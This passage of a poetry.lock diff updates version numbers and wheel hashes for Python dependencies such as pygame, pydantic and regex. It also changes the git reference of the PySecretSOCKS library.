"sha256:56e3ff861c3b9c6857579de282ce8baabf443f42ffba355bf070770ed63e11e1"}, + {file = "pydantic-1.10.13-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:9f00790179497767aae6bcdc36355792c79e7bbb20b145ff449700eb076c5f96"}, + {file = "pydantic-1.10.13-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:75b297827b59bc229cac1a23a2f7a4ac0031068e5be0ce385be1462e7e17a35d"}, + {file = "pydantic-1.10.13-cp39-cp39-win_amd64.whl", hash = "sha256:e70ca129d2053fb8b728ee7d1af8e553a928d7e301a311094b8a0501adc8763d"}, + {file = "pydantic-1.10.13-py3-none-any.whl", hash = "sha256:b87326822e71bd5f313e7d3bfdc77ac3247035ac10b0c0618bd99dcf95b1e687"}, + {file = "pydantic-1.10.13.tar.gz", hash = "sha256:32c8b48dcd3b2ac4e78b0ba4af3a2c2eb6048cb75202f0ea7b34feb740efc340"}, ] [package.dependencies] @@ -1698,13 +1704,13 @@ email = ["email-validator (>=1.0.3)"] [[package]] name = "pydyf" -version = "0.7.0" +version = "0.8.0" description = "A low-level PDF generator." optional = false python-versions = ">=3.7" files = [ - {file = "pydyf-0.7.0-py3-none-any.whl", hash = "sha256:23a753daa75adba387606c54eab4d5c9bca83f076be697e59f719d238753fb05"}, - {file = "pydyf-0.7.0.tar.gz", hash = "sha256:a5a88cb06e5beb64a1ef2147ee879b0e5139f5fdb827fda2fcf14a018c7b11e6"}, + {file = "pydyf-0.8.0-py3-none-any.whl", hash = "sha256:901186a2e9f897108139426a6486f5225bdcc9b70be2ec965f25111e42f8ac5d"}, + {file = "pydyf-0.8.0.tar.gz", hash = "sha256:b22b1ef016141b54941ad66ed4e036a7bdff39c0b360993b283875c3f854dd9a"}, ] [package.extras] @@ -1713,66 +1719,68 @@ test = ["flake8", "isort", "pillow", "pytest"] [[package]] name = "pygame" -version = "2.5.1" +version = "2.5.2" description = "Python Game Development" optional = false python-versions = ">=3.6" files = [ - {file = "pygame-2.5.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:afc3d7d125baba727785fd4a05b2a99a0ee1c0cff6db7321e65607a3f644724d"}, - {file = "pygame-2.5.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:423168a16e89e02b4addfd3c2b68cfa9826bd675aa18141435de16da85143afe"}, - {file = "pygame-2.5.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8722cae725c49493603509087d5c4e6b9200993ab998663a553df3279237c52d"}, - {file = "pygame-2.5.1-cp310-cp310-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:757f74c029c6d0fbed8f778034c7fa5be77f3d1cf217e9eda48d8508b7672d14"}, - {file = "pygame-2.5.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f597d1c57d4297b518865d95539fa70decbba77809bda66278baf0df98b6e2cf"}, - {file = "pygame-2.5.1-cp310-cp310-win32.whl", hash = "sha256:65d1983837fd1f8a9fee3576500e666fcdd4efb20c4b8d0edab2ff6921c67aa8"}, - {file = "pygame-2.5.1-cp310-cp310-win_amd64.whl", hash = "sha256:30fe97290f0fcc6a6f45a939a95ae44477a9b36cd89f93a7435bdad6d6a2bedd"}, - {file = "pygame-2.5.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:8fbf01919feea464b57b505973f68386d73d2cd08cf52078c578e3bffcf03c84"}, - {file = "pygame-2.5.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:f0b237cee5147f95bcbc98d8c1f13da4a6a637256a274021313db6a11ab8cebf"}, - {file = "pygame-2.5.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:57bf8237fa2dcc16ddb4cd2eddaa52009e6c84f219c051b118d8863ea7f05433"}, - {file = "pygame-2.5.1-cp311-cp311-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:93de41a54909f5622f01671d04e22c4dbc889ae8c3d1b1ee1b25d4e83077683f"}, - {file = "pygame-2.5.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6621baf985d8aec2b1089d86dcbf7b53ed1b235d9b372b1083e385f8d6ef9ee1"}, - {file = "pygame-2.5.1-cp311-cp311-win32.whl", hash = "sha256:1f90e3e6677cfc56bb04b13fb6c6e61e5f24d9373b27d33942ba7e4da0255c8d"}, - {file = "pygame-2.5.1-cp311-cp311-win_amd64.whl", hash = "sha256:b06122f17e5c6ec7316c454613a34d697abfed94ed1029f26b804d20ef6ba550"}, - {file = "pygame-2.5.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:63f7b0cd0ea631161b72056ce6d8ee0eb6af809e1a1f96c5fd338ec8b7e9eb33"}, - {file = "pygame-2.5.1-cp312-cp312-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3b0ab1e29459f5e6d88c3c586f59113172846f8800f0a166d1605a0f459f8242"}, - {file = "pygame-2.5.1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d9c01780e8a11047c0a9f9b09db023d736c2221a292f2542b398f78a0bf15f32"}, - {file = "pygame-2.5.1-cp312-cp312-win32.whl", hash = "sha256:643a0556b563a9ae9448ffdec459bb84d200be666e4fd197d68be15b6c2b4826"}, - {file = "pygame-2.5.1-cp312-cp312-win_amd64.whl", hash = "sha256:2cb3d56f34147c4c6653c4dac8d58e0791a298abff762aab147679e6935e6cd0"}, - {file = "pygame-2.5.1-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:2377534fe2947ae6eaec1b7469f438ae4e4f3ff22c67b80e0c580215a52654ce"}, - {file = "pygame-2.5.1-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:88d2a8880200035017696783475b6f32b0e551fbb23a52f0223264b24d680949"}, - {file = "pygame-2.5.1-cp36-cp36m-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:48c6064bc879ef092194cf21ba25433500a0f8006979ef9ae145081ed1767de7"}, - {file = "pygame-2.5.1-cp36-cp36m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f983d62e659e7b2644605b690e2b72683b2d0d1124f09274ffa2cc8658648546"}, - {file = "pygame-2.5.1-cp36-cp36m-win32.whl", hash = "sha256:57c361a402db63224160082451721caafc138e6e27aba5f30f9268672fb8f3d1"}, - {file = "pygame-2.5.1-cp36-cp36m-win_amd64.whl", hash = "sha256:cbcd03784a1858c2c5b91b6ba65c1905b9e30a2e150759f5a54af3241e008fbc"}, - {file = "pygame-2.5.1-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:be1ec9bf870d155b978811d115363c89eb10418c78295bb58b7bbd4e679d0010"}, - {file = "pygame-2.5.1-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c1b2d1fcb51e60ecacd18f2a03f2a6023453ab64298fd4f54d8c50a5b2a13bff"}, - {file = "pygame-2.5.1-cp37-cp37m-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:9212522069fca25cadf3a8044383d01f5451833b66f950cb9bc6d49406f88cee"}, - {file = "pygame-2.5.1-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4276c2688b11e098bb3732e7e243f522a58d0cd662bc72008727fc7671277771"}, - {file = "pygame-2.5.1-cp37-cp37m-win32.whl", hash = "sha256:9463b7c80994eabcb6f9460a7859241fe030c6654d041a2f26ce12366ae202f3"}, - {file = "pygame-2.5.1-cp37-cp37m-win_amd64.whl", hash = "sha256:11cb40204cad95b7c23aee32bac048a531e3528a6f12dd3601504ec0b6000c06"}, - {file = "pygame-2.5.1-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:426897ec90e91a05c3d41c44875793568d4b20065f086ac476729a9e557e8976"}, - {file = "pygame-2.5.1-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:184d8e3b025ca6cbd199235faece6a7b911725566f40c71e0773058f1e189da2"}, - {file = "pygame-2.5.1-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0b378ba0756173e9dc8cd7e0c40cb6ba217b122a6bef2ce3479293d543cc9777"}, - {file = "pygame-2.5.1-cp38-cp38-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:62f09b59b9702ccf9d7a6e7c6ebb1fca5f0072c30e99b4f786c5478876433f0c"}, - {file = "pygame-2.5.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:cbcc7284369118299ce935062ef0c79d67503ad3b86bd6b02a29211279a46244"}, - {file = "pygame-2.5.1-cp38-cp38-win32.whl", hash = "sha256:3df49bb58dcd70ed76e8da0e936a267c57245e5b057ceeaa9070340d7d49162a"}, - {file = "pygame-2.5.1-cp38-cp38-win_amd64.whl", hash = "sha256:4c410bd1d0807820fef48f15452366d0ef100d966323835ced818f7833d16a5a"}, - {file = "pygame-2.5.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:06c0a4f415dffa0b9d9099ee01647b1d6794f6a96b2b909997e05acff85e745c"}, - {file = "pygame-2.5.1-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:a0eb2cae526a39a8e213477ce6d4947d7b7fb50757fbdb0275c9e3ee1bca22df"}, - {file = "pygame-2.5.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5a232083d54c5936f40cb493d9cced38702a03dd7918fefd9a6b6522875714e5"}, - {file = "pygame-2.5.1-cp39-cp39-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e234c4d58b76dfc0d32b337e46e2191fa4dad7b3b0c7110d5c97076f1bf8cbd4"}, - {file = "pygame-2.5.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8e9816fa15aea99b6ea2e0b88ba07e83cc19a152c3724016d323823e6e713454"}, - {file = "pygame-2.5.1-cp39-cp39-win32.whl", hash = "sha256:7613ccb5c1800234c7e2d090f5f0be9d72f5fd76e49acc458bcc33797ab0de97"}, - {file = "pygame-2.5.1-cp39-cp39-win_amd64.whl", hash = "sha256:0618d8648e8d890a1bfc04a2ffd043a9b20dbc2e175d1347402e044729a5515b"}, - {file = "pygame-2.5.1-pp36-pypy36_pp73-win32.whl", hash = "sha256:ea3bce8488f2bdb83a874f7799e229be9e0a1b70d2cff9c47234c19a54ab868e"}, - {file = "pygame-2.5.1-pp37-pypy37_pp73-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:581ef66dfbff883fc4a172f57395db4e8c97d3381860e81943261a5a5214fde7"}, - {file = "pygame-2.5.1-pp37-pypy37_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5e4bbe4b94cd0dbf592ee32be5561b0cad8327aff92c36e7a1a1372ed804229e"}, - {file = "pygame-2.5.1-pp38-pypy38_pp73-macosx_10_9_x86_64.whl", hash = "sha256:05b13f5994efd61c3de50ef0b5062fa3396e3fd851e99e215a7e3da78da49561"}, - {file = "pygame-2.5.1-pp38-pypy38_pp73-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e21a79fd5db155164ad3341f12c89e121ce53cb4ea1856527dfa9daeb3f6016d"}, - {file = "pygame-2.5.1-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e8c5953767eb459d9a32ca52399c2f379af807a24e00163f1bcb1aacc1e81d59"}, - {file = "pygame-2.5.1-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:84e4a4da14235d812b65081a87dbe89a4d45a101d06a4f33cf386be825e8797e"}, - {file = "pygame-2.5.1-pp39-pypy39_pp73-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:5a78eb81082bf460249f0e7267db8d2f401f37f538b673125719be1db504584c"}, - {file = "pygame-2.5.1-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:cfb90539845885c4bb7861d6c7fe84ffb19de466b6d55fc39b707e8ea261ff93"}, - {file = "pygame-2.5.1.tar.gz", hash = "sha256:b7f88720be5c740576fd988dc0375328dc1adb070869654a245531e03df46262"}, + {file = "pygame-2.5.2-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:a0769eb628c818761755eb0a0ca8216b95270ea8cbcbc82227e39ac9644643da"}, + {file = "pygame-2.5.2-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:ed9a3d98adafa0805ccbaaff5d2996a2b5795381285d8437a4a5d248dbd12b4a"}, + {file = "pygame-2.5.2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f30d1618672a55e8c6669281ba264464b3ab563158e40d89e8c8b3faa0febebd"}, + {file = "pygame-2.5.2-cp310-cp310-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:39690e9be9baf58b7359d1f3b2336e1fd6f92fedbbce42987be5df27f8d30718"}, + {file = "pygame-2.5.2-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:03879ec299c9f4ba23901b2649a96b2143f0a5d787f0b6c39469989e2320caf1"}, + {file = "pygame-2.5.2-cp310-cp310-win32.whl", hash = "sha256:74e1d6284100e294f445832e6f6343be4fe4748decc4f8a51131ae197dae8584"}, + {file = "pygame-2.5.2-cp310-cp310-win_amd64.whl", hash = "sha256:485239c7d32265fd35b76ae8f64f34b0637ae11e69d76de15710c4b9edcc7c8d"}, + {file = "pygame-2.5.2-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:34646ca20e163dc6f6cf8170f1e12a2e41726780112594ac061fa448cf7ccd75"}, + {file = "pygame-2.5.2-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:3b8a6e351665ed26ea791f0e1fd649d3f483e8681892caef9d471f488f9ea5ee"}, + {file = "pygame-2.5.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:dc346965847aef00013fa2364f41a64f068cd096dcc7778fc306ca3735f0eedf"}, + {file = "pygame-2.5.2-cp311-cp311-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:35632035fd81261f2d797fa810ea8c46111bd78ceb6089d52b61ed7dc3c5d05f"}, + {file = "pygame-2.5.2-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0e24d05184e4195fe5ebcdce8b18ecb086f00182b9ae460a86682d312ce8d31f"}, + {file = "pygame-2.5.2-cp311-cp311-win32.whl", hash = "sha256:f02c1c7505af18d426d355ac9872bd5c916b27f7b0fe224749930662bea47a50"}, + {file = "pygame-2.5.2-cp311-cp311-win_amd64.whl", hash = "sha256:6d58c8cf937815d3b7cdc0fa9590c5129cb2c9658b72d00e8a4568dea2ff1d42"}, + {file = "pygame-2.5.2-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:1a2a43802bb5e89ce2b3b775744e78db4f9a201bf8d059b946c61722840ceea8"}, + {file = "pygame-2.5.2-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:1c289f2613c44fe70a1e40769de4a49c5ab5a29b9376f1692bb1a15c9c1c9bfa"}, + {file = "pygame-2.5.2-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:074aa6c6e110c925f7f27f00c7733c6303407edc61d738882985091d1eb2ef17"}, + {file = "pygame-2.5.2-cp312-cp312-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:fe0228501ec616779a0b9c4299e837877783e18df294dd690b9ab0eed3d8aaab"}, + {file = "pygame-2.5.2-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:31648d38ecdc2335ffc0e38fb18a84b3339730521505dac68514f83a1092e3f4"}, + {file = "pygame-2.5.2-cp312-cp312-win32.whl", hash = "sha256:224c308856334bc792f696e9278e50d099a87c116f7fc314cd6aa3ff99d21592"}, + {file = "pygame-2.5.2-cp312-cp312-win_amd64.whl", hash = "sha256:dd2d2650faf54f9a0f5bd0db8409f79609319725f8f08af6507a0609deadcad4"}, + {file = "pygame-2.5.2-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:9b30bc1220c457169571aac998e54b013aaeb732d2fd8744966cb1cfab1f61d1"}, + {file = "pygame-2.5.2-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:78fcd7643358b886a44127ff7dec9041c056c212b3a98977674f83f99e9b12d3"}, + {file = "pygame-2.5.2-cp36-cp36m-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:35cf093a51cb294ede56c29d4acf41538c00f297fcf78a9b186fb7d23c0577b6"}, + {file = "pygame-2.5.2-cp36-cp36m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6fe323acbf53a0195c8c98b1b941eba7ac24e3e2b28ae48e8cda566f15fc4945"}, + {file = "pygame-2.5.2-cp36-cp36m-win32.whl", hash = "sha256:5697528266b4716d9cdd44a5a1d210f4d86ef801d0f64ca5da5d0816704009d9"}, + {file = "pygame-2.5.2-cp36-cp36m-win_amd64.whl", hash = "sha256:edda1f7cff4806a4fa39e0e8ccd75f38d1d340fa5fc52d8582ade87aca247d92"}, + {file = "pygame-2.5.2-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:9bd738fd4ecc224769d0b4a719f96900a86578e26e0105193658a32966df2aae"}, + {file = "pygame-2.5.2-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:30a8d7cf12363b4140bf2f93b5eec4028376ca1d0fe4b550588f836279485308"}, + {file = "pygame-2.5.2-cp37-cp37m-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:bc12e4dea3e88ea8a553de6d56a37b704dbe2aed95105889f6afeb4b96e62097"}, + {file = "pygame-2.5.2-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2b34c73cb328024f8db3cb6487a37e54000148988275d8d6e5adf99d9323c937"}, + {file = "pygame-2.5.2-cp37-cp37m-win32.whl", hash = "sha256:7d0a2794649defa57ef50b096a99f7113d3d0c2e32d1426cafa7d618eadce4c7"}, + {file = "pygame-2.5.2-cp37-cp37m-win_amd64.whl", hash = "sha256:41f8779f52e0f6e6e6ccb8f0b5536e432bf386ee29c721a1c22cada7767b0cef"}, + {file = "pygame-2.5.2-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:677e37bc0ea7afd89dde5a88ced4458aa8656159c70a576eea68b5622ee1997b"}, + {file = "pygame-2.5.2-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:47a8415d2bd60e6909823b5643a1d4ef5cc29417d817f2a214b255f6fa3a1e4c"}, + {file = "pygame-2.5.2-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4ff21201df6278b8ca2e948fb148ffe88f5481fd03760f381dd61e45954c7dff"}, + {file = "pygame-2.5.2-cp38-cp38-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d29a84b2e02814b9ba925357fd2e1df78efe5e1aa64dc3051eaed95d2b96eafd"}, + {file = "pygame-2.5.2-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d78485c4d21133d6b2fbb504cd544ca655e50b6eb551d2995b3aa6035928adda"}, + {file = "pygame-2.5.2-cp38-cp38-win32.whl", hash = "sha256:d851247239548aa357c4a6840fb67adc2d570ce7cb56988d036a723d26b48bff"}, + {file = "pygame-2.5.2-cp38-cp38-win_amd64.whl", hash = "sha256:88d1cdacc2d3471eceab98bf0c93c14d3a8461f93e58e3d926f20d4de3a75554"}, + {file = "pygame-2.5.2-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:4f1559e7efe4efb9dc19d2d811d702f325d9605f9f6f9ececa39ee6890c798f5"}, + {file = "pygame-2.5.2-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:cf2191b756ceb0e8458a761d0c665b0c70b538570449e0d39b75a5ba94ac5cf0"}, + {file = "pygame-2.5.2-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6cf2257447ce7f2d6de37e5fb019d2bbe32ed05a5721ace8bc78c2d9beaf3aee"}, + {file = "pygame-2.5.2-cp39-cp39-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d75cbbfaba2b81434d62631d0b08b85fab16cf4a36e40b80298d3868927e1299"}, + {file = "pygame-2.5.2-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:daca456d5b9f52e088e06a127dec182b3638a775684fb2260f25d664351cf1ae"}, + {file = "pygame-2.5.2-cp39-cp39-win32.whl", hash = "sha256:3b3e619e33d11c297d7a57a82db40681f9c2c3ae1d5bf06003520b4fe30c435d"}, + {file = "pygame-2.5.2-cp39-cp39-win_amd64.whl", hash = "sha256:1822d534bb7fe756804647b6da2c9ea5d7a62d8796b2e15d172d3be085de28c6"}, + {file = "pygame-2.5.2-pp36-pypy36_pp73-win32.whl", hash = "sha256:e708fc8f709a0fe1d1876489345f2e443d47f3976d33455e2e1e937f972f8677"}, + {file = "pygame-2.5.2-pp37-pypy37_pp73-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c13edebc43c240fb0532969e914f0ccefff5ae7e50b0b788d08ad2c15ef793e4"}, + {file = "pygame-2.5.2-pp37-pypy37_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:263b4a7cbfc9fe2055abc21b0251cc17dea6dff750f0e1c598919ff350cdbffe"}, + {file = "pygame-2.5.2-pp38-pypy38_pp73-macosx_10_9_x86_64.whl", hash = "sha256:e58e2b0c791041e4bccafa5bd7650623ba1592b8fe62ae0a276b7d0ecb314b6c"}, + {file = "pygame-2.5.2-pp38-pypy38_pp73-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a0bd67426c02ffe6c9827fc4bcbda9442fbc451d29b17c83a3c088c56fef2c90"}, + {file = "pygame-2.5.2-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9dcff6cbba1584cf7732ce1dbdd044406cd4f6e296d13bcb7fba963fb4aeefc9"}, + {file = "pygame-2.5.2-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:ce4b6c0bfe44d00bb0998a6517bd0cf9455f642f30f91bc671ad41c05bf6f6ae"}, + {file = "pygame-2.5.2-pp39-pypy39_pp73-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:68c4e8e60b725ffc7a6c6ecd9bb5fcc5ed2d6e0e2a2c4a29a8454856ef16ad63"}, + {file = "pygame-2.5.2-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1f3849f97372a3381c66955f99a0d58485ccd513c3d00c030b869094ce6997a6"}, + {file = "pygame-2.5.2.tar.gz", hash = "sha256:c1b89eb5d539e7ac5cf75513125fb5f2f0a2d918b1fd6e981f23bf0ac1b1c24a"}, ] [[package]] @@ -1810,13 +1818,13 @@ hook-testing = ["execnet (>=1.5.0)", "psutil", "pytest (>=2.7.3)"] [[package]] name = "pyinstaller-hooks-contrib" -version = "2023.8" +version = "2023.10" description = "Community maintained hooks for PyInstaller" optional = false python-versions = ">=3.7" files = [ - {file = "pyinstaller-hooks-contrib-2023.8.tar.gz", hash = "sha256:318ccc316fb2b8c0bbdff2456b444bf1ce0e94cb3948a0f4dd48f6fc33d41c01"}, - {file = "pyinstaller_hooks_contrib-2023.8-py2.py3-none-any.whl", hash = "sha256:d091a52fbeed71cde0359aa9ad66288521a8441cfba163d9446606c5136c72a8"}, + {file = "pyinstaller-hooks-contrib-2023.10.tar.gz", hash = "sha256:4b4a998036abb713774cb26534ca06b7e6e09e4c628196017a10deb11a48747f"}, + {file = "pyinstaller_hooks_contrib-2023.10-py2.py3-none-any.whl", hash = "sha256:6dc1786a8f452941245d5bb85893e2a33632ebdcbc4c23eea41f2ee08281b0c0"}, ] [[package]] @@ -1894,17 +1902,20 @@ test = ["flake8", "isort", "pytest"] [[package]] name = "PySecretSOCKS" version = "0.9.1" -description = "A python SOCKS server for tunneling connections over another channel. Making implementing covert channels a breeze!" +description = "" optional = false python-versions = "*" files = [] develop = false +[package.dependencies] +pyasyncore = "*" + [package.source] type = "git" url = "https://github.com/BC-SECURITY/PySecretSOCKS.git" -reference = "HEAD" -resolved_reference = "43c0beda33d5f7939d2a434a873b36fc395f6204" +reference = "da5be0e" +resolved_reference = "da5be0e48f82097044894247343cef2111f13c7a" [[package]] name = "pytest" @@ -1948,13 +1959,13 @@ testing = ["fields", "hunter", "process-tests", "pytest-xdist", "six", "virtuale [[package]] name = "pytest-timeout" -version = "2.1.0" +version = "2.2.0" description = "pytest plugin to abort hanging tests" optional = false -python-versions = ">=3.6" +python-versions = ">=3.7" files = [ - {file = "pytest-timeout-2.1.0.tar.gz", hash = "sha256:c07ca07404c612f8abbe22294b23c368e2e5104b521c1790195561f37e1ac3d9"}, - {file = "pytest_timeout-2.1.0-py3-none-any.whl", hash = "sha256:f6f50101443ce70ad325ceb4473c4255e9d74e3c7cd0ef827309dfa4c0d975c6"}, + {file = "pytest-timeout-2.2.0.tar.gz", hash = "sha256:3b0b95dabf3cb50bac9ef5ca912fa0cfc286526af17afc806824df20c2f72c90"}, + {file = "pytest_timeout-2.2.0-py3-none-any.whl", hash = "sha256:bde531e096466f49398a59f2dde76fa78429a09a12411466f88a07213e220de2"}, ] [package.dependencies] @@ -1962,13 +1973,13 @@ pytest = ">=5.0.0" [[package]] name = "python-engineio" -version = "4.7.1" +version = "4.8.0" description = "Engine.IO server and client for Python" optional = false python-versions = ">=3.6" files = [ - {file = "python-engineio-4.7.1.tar.gz", hash = "sha256:a8422e345cd9a21451303380b160742ff02197975b1c3a02cef115febe2b1b20"}, - {file = "python_engineio-4.7.1-py3-none-any.whl", hash = "sha256:52499e8ab94fea1a6525ffe872fe7028d04b575799c5fa8e2cf7880e032de42e"}, + {file = "python-engineio-4.8.0.tar.gz", hash = "sha256:2a32585d8fecd0118264fe0c39788670456ca9aa466d7c026d995cfff68af164"}, + {file = "python_engineio-4.8.0-py3-none-any.whl", hash = "sha256:6055ce35b7f32b70641d53846faf76e06f2af0107a714cedb2750595c69ade43"}, ] [package.dependencies] @@ -2030,18 +2041,18 @@ regex = "*" [[package]] name = "python-socketio" -version = "5.9.0" +version = "5.10.0" description = "Socket.IO server and client for Python" optional = false python-versions = ">=3.6" files = [ - {file = "python-socketio-5.9.0.tar.gz", hash = "sha256:dc42735f65534187f381fde291ebf620216a4960001370f32de940229b2e7f8f"}, - {file = "python_socketio-5.9.0-py3-none-any.whl", hash = "sha256:c20f12e4ed0cba57581af26bbeea9998bc2eeebb3b952fa92493a1e051cfe9dc"}, + {file = "python-socketio-5.10.0.tar.gz", hash = "sha256:01c616946fa9f67ed5cc3d1568e1c4940acfc64aeeb9ff621a53e80cabeb748a"}, + {file = "python_socketio-5.10.0-py3-none-any.whl", hash = "sha256:fb18d9b84cfb05289dc207b790c3de59cd242310d9b980b1c31e9faf4f79101a"}, ] [package.dependencies] bidict = ">=0.21.0" -python-engineio = ">=4.7.0" +python-engineio = ">=4.8.0" requests = {version = ">=2.21.0", optional = true, markers = "extra == \"client\""} websocket-client = {version = ">=0.54.0", optional = true, markers = "extra == \"client\""} @@ -2144,99 +2155,99 @@ files = [ [[package]] name = "regex" -version = "2023.8.8" +version = "2023.10.3" description = "Alternative regular expression module, to replace re." optional = false -python-versions = ">=3.6" +python-versions = ">=3.7" files = [ - {file = "regex-2023.8.8-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:88900f521c645f784260a8d346e12a1590f79e96403971241e64c3a265c8ecdb"}, - {file = "regex-2023.8.8-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:3611576aff55918af2697410ff0293d6071b7e00f4b09e005d614686ac4cd57c"}, - {file = "regex-2023.8.8-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b8a0ccc8f2698f120e9e5742f4b38dc944c38744d4bdfc427616f3a163dd9de5"}, - {file = "regex-2023.8.8-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:c662a4cbdd6280ee56f841f14620787215a171c4e2d1744c9528bed8f5816c96"}, - {file = "regex-2023.8.8-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:cf0633e4a1b667bfe0bb10b5e53fe0d5f34a6243ea2530eb342491f1adf4f739"}, - {file = "regex-2023.8.8-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:551ad543fa19e94943c5b2cebc54c73353ffff08228ee5f3376bd27b3d5b9800"}, - {file = "regex-2023.8.8-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:54de2619f5ea58474f2ac211ceea6b615af2d7e4306220d4f3fe690c91988a61"}, - {file = "regex-2023.8.8-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:5ec4b3f0aebbbe2fc0134ee30a791af522a92ad9f164858805a77442d7d18570"}, - {file = "regex-2023.8.8-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:3ae646c35cb9f820491760ac62c25b6d6b496757fda2d51be429e0e7b67ae0ab"}, - {file = 